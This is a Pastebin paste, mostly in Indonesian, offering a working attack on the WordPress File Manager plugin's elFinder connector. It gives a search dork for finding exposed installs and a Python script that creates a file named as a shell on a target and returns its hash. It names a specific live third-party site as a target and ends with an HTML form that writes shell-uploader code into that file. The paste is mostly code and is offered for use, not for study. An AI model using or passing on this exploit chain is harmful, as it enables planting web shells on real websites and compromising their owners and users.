Advertisement
MrOXiG3n

WP file maneger RCE

Jan 11th, 2021
210
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.50 KB | None | 0 0
  1. =[ Dork ]=
  2.  
  3. dork : "Index Of /" + "Wp-Filemanager"
  4.  
  5. *Kalian Bisa kembangkan Lagi.
  6.  
  7. =[ Code Hash Key ]=
  8.  
  9. import json
  10. import requests as req
  11. phash = "l1_Lw"
  12. r=req.Session()
  13. user_agent={
  14. "User-Agent":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36"
  15. }
  16. r.headers.update(user_agent)
  17. def is_json(myjson):
  18. try:
  19. json_object = json.loads(myjson)
  20. except ValueError as e:
  21. return False
  22. return True
  23. def mkfile(target):
  24. data={"cmd" : "mkfile", "target":phash, "name":input("nama_shell : ")}
  25. resp=r.post(target, data=data)
  26. respon = resp.text
  27. if resp.status_code == 200 and is_json(respon):
  28. resp_json=respon.replace(r"\/", "").replace("\\", "")
  29. resp_json=json.loads(resp_json)
  30. return resp_json["added"][0]["hash"]
  31. else:
  32. return False
  33. hash=mkfile(input("Target antum : "))
  34. if hash :
  35. print("ini hashnya => "+hash)
  36. else:
  37. print("ga bisa")
  38.  
  39.  
  40.  
  41.  
  42. ====================================================
  43.  
  44. =[ Live Target Beserta Path Nya]=
  45.  
  46. http://www.smecargo.in/erp/admin/js/plugins/elfinder/php/connector.minimal.php
  47.  
  48. =====================================================
  49.  
  50. =[ KODE CSRF ]=
  51.  
  52. <form method="post" action="isi disini url targetnya" enctype="multipart/form-data">
  53. <input type="text" name="cmd" value="put">
  54. <input type="text" name="target" value="isi disini hasil hashnya">
  55. <textarea name="content">isi code shell uploadernya</textarea>
  56. <input type="submit">
  57. </form>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement